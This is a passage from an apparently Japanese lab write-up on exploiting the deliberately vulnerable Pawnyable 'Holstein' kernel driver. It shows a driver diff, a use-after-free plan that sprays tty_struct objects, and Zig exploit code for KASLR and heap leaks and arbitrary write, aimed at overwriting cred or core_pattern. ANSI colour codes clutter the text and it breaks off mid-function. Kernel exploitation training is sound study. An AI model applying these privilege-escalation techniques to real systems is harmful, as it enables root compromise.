AARとAAWがあれば、ヒープ上から[40m[35m`task_struct.cred`[39m[49mを探し出して、それ
を0をセットする([40m[35m`prctl`[39m[49mを利用すればプロセスの名は探すやすい値を変われば楽になる)
。
=== [1m[4mv3: Use after Free[22m[24m
[1m[37m10c10[0m
[1m[37m< MODULE_DESCRIPTION("Holstein v2 - Vulnerable Kernel Driver for Pawnyable");[0m
[1m[37m---[0m
[1m[37m> MODULE_DESCRIPTION("Holstein v3 - Vulnerable Kernel Driver for Pawnyable");[0m
[1m[37m21c21[0m
[1m[37m< g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);[0m
[1m[37m---[0m
[1m[37m> g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);[0m
[1m[37m35a36,40[0m
[1m[37m> if (count > BUFFER_SIZE) {[0m
[1m[37m> printk(KERN_INFO "invalid buffer size\n");[0m
[1m[37m> return -EINVAL;[0m
[1m[37m> }[0m
[1m[37m>[0m
[1m[37m48a54,58[0m
[1m[37m>[0m
[1m[37m> if (count > BUFFER_SIZE) {[0m
[1m[37m> printk(KERN_INFO "invalid buffer size\n");[0m
[1m[37m> return -EINVAL;[0m
[1m[37m> }[0m
今回はオーバーフローがない。[40m[35m`g_buf`[39m[49mのUAFを悪用しよう。
攻撃の作戦は:
1. 2回で[40m`/dev/holstein`[49mを開く
2. 一つのfdを閉じる
3. 複数の[40m[35m`tty_struct`[39m[49mをスプレーする
4. 別のfdで構造体のいずれかを書き換える
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37mvmlinux[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[33m"./vmlinux"[0m[1m[37m)[0m[1m[37m[0m
[37mhex[0m[1m[37m([0m[37mnext[0m[1m[37m([0m[1m[37mvmlinux[0m[1m[36m.[0m[1m[37msearch[0m[1m[37m([0m[33mb[0m[33m"core"[0m[1m[36m.[0m[1m[37mljust[0m[1m[37m([0m[1m[36m128[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"[0m[33m\0[0m[33m"[0m[1m[37m))))[0m[1m[37m[0m
[1m[37m0xffffffff81eb12e0[0m
[1m[36m<<[0m[1m[37mpawnyable[0m[1m[36m-[0m[1m[37mlib[0m[1m[36m>>[0m[1m[37m[0m
[1m[36m<<[0m[1m[37mtty_struct[0m[1m[36m>>[0m[1m[37m[0m
[1m[36m<<[0m[1m[37mheap[0m[1m[36m-[0m[1m[37mspray[0m[1m[36m>>[0m[1m[37m[0m
[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mMOV_ADDROF_RDX_RCX[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff811b2d06[0m[1m[37m;[0m[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mCORE_PATTERN[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff81eb12e0[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mleakKASLROffset[0m[1m[37m([0m[1m[37mfd[0m[1m[36m:[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[1m[37mfd_t[0m[1m[37m)[0m[1m[37m [0m[1m[36m![0m[1m[36mu64[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mptmx_fops_addr[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff81c39c60[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37mbuf[0m[1m[36m:[0m[1m[37m [0m[1m[37m[[0m[37m@offsetOf[0m[1m[37m([0m[1m[37mtty_struct[0m[1m[37m,[0m[1m[37m [0m[33m"ops"[0m[1m[37m)[0m[1m[36m+[0m[37m@sizeOf[0m[1m[37m([0m[37m@FieldType[0m[1m[37m([0m[1m[37mtty_struct[0m[1m[37m,[0m[1m[37m [0m[33m"ops"[0m[1m[37m))][0m[1m[36mu8[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36mundefined[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[37mread[0m[1m[37m([0m[1m[37mfd[0m[1m[37m,[0m[1m[37m [0m[1m[36m&[0m[1m[37mbuf[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mret[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37mbytesAsValue[0m[1m[37m([0m[1m[36mu64[0m[1m[37m,[0m[1m[37m [0m[1m[37mbuf[0m[1m[37m[[0m[1m[37mbuf[0m[1m[37m.[0m[1m[37mlen[0m[1m[36m-[0m[1m[36m8[0m[1m[37m..]).[0m[1m[36m*[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37mret[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37mptmx_fops_addr[0m[1m[37m;[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mleakHeap[0m[1m[37m([0m[1m[37mfd[0m[1m[36m:[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[1m[37mfd_t[0m[1m[37m)[0m[1m[37m [0m[1m[36m![0m[1m[36mu64[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37moffset[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mcomptime[0m[1m[37m [0m[1m[37mblk[0m[1m[36m:[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mld_semaphore[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37m@FieldType[0m[1m[37m([0m[1m[37mtty_struct[0m[1m[37m,[0m[1m[37m [0m[33m"ldisc_sem"[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mbreak[0m[1m[37m [0m[1m[36m:[0m[1m[37mblk[0m[1m[37m [0m[37m@offsetOf[0m[1m[37m([0m[1m[37mtty_struct[0m[1m[37m,[0m[1m[37m [0m[33m"ldisc_sem"[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[37m@offsetOf[0m[1m[37m([0m[1m[37mld_semaphore[0m[1m[37m,[0m[1m[37m [0m[33m"read_wait"[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[37m@sizeOf[0m[1m[37m([0m[37m@typeInfo[0m[1m[37m([0m[37m@FieldType[0m[1m[37m([0m[1m[37mld_semaphore[0m[1m[37m,[0m[1m[37m [0m[33m"read_wait"[0m[1m[37m)).[0m[1m[37m@[0m[33m"struct"[0m[1m[37m.[0m[1m[37mfields[0m[1m[37m[[0m[1m[36m0[0m[1m[37m].[0m[1m[36mtype[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37mbuf[0m[1m[36m:[0m[1m[37m [0m[1m[37m[[0m[1m[37moffset[0m[1m[37m][0m[1m[36mu8[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36mundefined[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[37mread[0m[1m[37m([0m[1m[37mfd[0m[1m[37m,[0m[1m[37m [0m[1m[36m&[0m[1m[37mbuf[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mret[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37mbytesAsValue[0m[1m[37m([0m[1m[36mu64[0m[1m[37m,[0m[1m[37m [0m[1m[37mbuf[0m[1m[37m[[0m[1m[37mbuf[0m[1m[37m.[0m[1m[37mlen[0m[1m[36m-[0m[1m[36m8[0m[1m[37m..]).[0m[1m[36m*[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37mret[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37m([0m[1m[37mbuf[0m[1m[37m.[0m[1m[37mlen[0m[1m[36m-[0m[1m[36m8[0m[1m[37m);[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37maaw[0m[1m[37m([0m[1m[37mfd[0m[1m[36m:[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[1m[37mfd_t[0m[1m[37m,[0m[1m[37m [0m[1m[37mttys[0m[1m[36m:[0m[1m[37m [0m[1m[37m[][0m[1m[37mposix[0m[1m[37m.[0m[1m[37mfd_t[0m[1m[37m,[0m[1m[37m [0m[1m[37mg_buf_addr[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m,[0m[1m[37m [0m[1m[37mvalue[0m[1m[36m:[0m[1m[37m [0m[1m[36mu32[0m[1m[37m,[0m[1m[37m [0m[1m[37maddress[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m)[0m[1m[37m [0m[1m[36m![0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
gopher.feyor.sh:70 /jp/writeups/pawnyable:675: line too long